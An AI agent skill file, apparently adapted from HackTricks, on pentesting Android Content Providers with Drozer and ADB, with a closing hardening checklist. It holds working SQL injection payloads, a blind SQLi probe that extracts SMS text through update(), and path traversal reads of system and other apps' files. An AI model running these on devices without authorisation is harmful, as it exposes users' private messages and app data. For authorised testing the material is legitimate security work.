Hacktricks-skills android-content-provider-pentest

Android Content Provider security testing and exploitation. Use this skill whenever you need to enumerate, analyze, or exploit Android Content Providers during mobile app pentesting. This includes finding exposed providers, testing for SQL injection, path traversal, permission bypasses, and data exfiltration. Trigger this skill for any Android security assessment involving Content Providers, whether you're using Drozer, ADB cmd content, or manual testing. Also use when investigating exported providers, writePermission omissions, or recent CVEs like CVE-2024-43089.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers/SKILL.MD
source content

Android Content Provider Pentesting

A comprehensive guide for security testing Android Content Providers.

Overview

Content Providers are Android components that supply data from one application to others on request. They're a common attack surface in mobile pentesting due to misconfigurations like:

  • Exported providers without proper permissions
  • SQL injection in query/update/delete operations
  • Path traversal in file-backed providers
  • Missing writePermission declarations

Quick Start

  1. Enumerate providers:
    run app.provider.info -a <package>
  2. Find accessible URIs:
    run scanner.provider.finduris -a <package>
  3. Test for vulnerabilities: SQL injection, path traversal, permission bypass

Enumeration

List all providers for a package

dz> run app.provider.info -a com.example.app

Key fields to check:

  • Read Permission
    /
    Write Permission
    - null means no permission required
  • Multiprocess Allowed
    - true increases attack surface
  • Path Permissions
    - specific path-level restrictions

Red flags:

  • Read Permission: null
    AND
    Write Permission: null
    = fully exposed
  • Read Permission
    set but
    Write Permission: null
    = potential blind SQLi vector
  • Multiprocess Allowed: True
    = cross-process attacks possible

Find accessible URIs

dz> run scanner.provider.finduris -a com.example.app

This attempts to query common URI patterns and reports which ones are accessible.

Note: Path

/Keys
vs
/Keys/
matters - developers often secure one but not the other.

Modern: Use
cmd content
(ADB ≥ 8.0)

No agent installation required:

adb shell cmd content query --uri content://com.example.provider/path/
adb shell cmd content update --uri content://com.example.provider/path/1 --bind price:d:1337
adb shell cmd content call --uri content://com.example.provider --method evilMethod --arg 'foo'

Database-Backed Providers

Query data

dz> run app.provider.query content://com.example.provider/path/ --vertical

Insert data

dz> run app.provider.insert content://com.example.provider/path/ \
  --bind column1:s:value1 \
  --bind column2:i:123

Type flags:

--string
,
--double
,
--float
,
--integer
,
--long
,
--short
,
--boolean

Update data

dz> run app.provider.update content://com.example.provider/path/ \
  --bind column1:s:newvalue \
  --where "id=1"

Delete data

dz> run app.provider.delete content://com.example.provider/path/ \
  --where "id=1"

SQL Injection Testing

Manual testing

# Test selection parameter
dz> run app.provider.query content://com.example.provider/path/ \
  --selection "'"

# Test projection parameter
dz> run app.provider.query content://com.example.provider/path/ \
  --projection "* FROM sqlite_master WHERE type='table';--"

Automatic detection

dz> run scanner.provider.injection -a com.example.app

List accessible tables

dz> run scanner.provider.sqltables -a com.example.app

Blind SQLi via update()

When

writePermission
is omitted but
update()
is callable, you can exfiltrate data from co-located tables using a blind boolean oracle.

Discovery:

  1. Check for providers with
    readPermission
    set but
    writePermission: null
  2. Confirm
    update()
    is implemented
  3. Verify target table exists in same DB via
    sqlite_master

Probe example:

adb shell cmd content update \
  --uri content://service-number/service_number \
  --bind rowid:s:123 \
  --where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'

TRUE if update() > 0 or UNIQUE constraint exception thrown.

Use the

scripts/blind_sqli_extractor.py
script for automated extraction.

File System-Backed Providers

Read files

dz> run app.provider.read content://com.example.provider/path/to/file

Path traversal testing

dz> run app.provider.read content://com.example.provider/../../../etc/hosts

Automatic detection

dz> run scanner.provider.traversal -a com.example.app

Modern Tooling (2023-2025)

Drozer 3.x

pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk

New modules:

  • scanner.provider.exported
    - list only exported providers
  • app.provider.grant
    - handle FLAG_GRANT_URI_PERMISSION on Android 12+
  • Better Scoped Storage handling for Android 11+

Grant URI permissions (Android 12+)

dz> run app.provider.grant -a com.example.app -u content://com.example.provider/path

Common Vulnerabilities

writePermission omission

When a provider has

readPermission
but no
writePermission
, any app can call insert/update/delete. Combined with SQL injection in update(), this enables blind data exfiltration from co-located tables.

Real-world examples:

  • content://service-number/service_number
  • content://push-mms/push
  • content://push-shop/push_shop

Path traversal in openFile()

CVE-2024-43089 and CVE-2023-35670 show path traversal in MediaProvider's openFile() method.

adb shell cmd content read \
  --uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml

Co-location attacks

Sensitive tables (SMS, contacts, etc.) in the same SQLite database as a vulnerable provider can be accessed via blind SQLi even if they have privileged read permissions.

Hardening Checklist

  • Set
    android:exported="false"
    unless the provider must be public (mandatory from API 31)
  • Declare both
    readPermission
    and
    writePermission
  • Use
    SQLiteQueryBuilder
    with projection maps
  • Canonicalize paths in
    openFile()
    to prevent traversal
  • Keep sensitive tables in separate databases
  • Use
    FileProvider
    or Storage Access Framework for file exposure

Workflow Summary

  1. Enumerate:
    app.provider.info
    +
    scanner.provider.finduris
  2. Classify: Database-backed vs file-backed
  3. Test permissions: Check for null writePermission
  4. Exploit: SQL injection, path traversal, blind exfiltration
  5. Verify: Use
    scanner.provider.injection
    and
    scanner.provider.traversal

References